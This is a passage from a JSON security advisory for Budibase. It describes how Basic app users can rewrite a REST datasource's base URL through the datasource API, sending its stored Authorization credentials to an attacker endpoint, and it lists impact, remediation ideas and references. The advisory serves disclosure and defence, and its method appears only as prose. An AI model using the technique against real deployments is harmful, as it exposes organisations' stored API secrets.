authorized already-running instance, rewrites only `config.url`, captures the outbound Authorization material, and restores the original datasource by default.\n\n### Impact\nThis breaks the intended application-user versus builder/admin boundary for external REST datasource credentials. A Basic app user should be able to use published app functionality, but should not be able to administer datasource connection settings or extract builder-configured REST auth secrets. In a realistic internal-tool deployment, REST datasource auth configs often contain bearer tokens, API keys, Basic credentials, OAuth client secrets, service account tokens, or integration credentials for ticketing, CRM, ERP, security, and operational systems.\n\nAn attacker with only Basic app-user access to an app that uses an authenticated REST datasource can redirect future query traffic to an attacker-controlled endpoint and collect the preserved server-side Authorization header. This is distinct from public REST datasource SSRF issues because the core impact is stored credential disclosure across the role boundary, and it works with an external attacker-controlled URL rather than depending on internal-network reachability.\n\n### Remediation ideas\n- Move `GET`/`PUT /api/datasources/:datasourceId` behind Builder/Admin datasource permissions, or add datasource-specific resource authorization.\n- Do not allow non-builder app users to update datasource `config`, `authConfigs`, base URL, default headers, or plugin connection settings.\n- Split non-sensitive datasource metadata reads from credential-bearing/admin datasource reads.\n- Treat redaction placeholders as valid only in trusted builder/admin update flows.\n- Consider rotating REST datasource auth secrets for affected deployments after patching.\n\n### Duplicate/nearby public issue notes\nPublic triage found known Budibase REST datasource SSRF and protected-endpoint auth-bypass CVEs, but no obvious public duplicate for this specific Basic app-user `PUT /api/datasources/:id` role-boundary issue combined with preserved REST `authConfigs` secret exfiltration through a changed datasource base URL.",
  "id": "GHSA-3gp5-q4jw-3v94",
  "modified": "2026-06-12T18:28:40Z",
  "published": "2026-06-12T18:28:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-3gp5-q4jw-3v94"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48152"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: Basic app users can exfiltrate stored REST datasource auth by rewriting datasource base URL"
}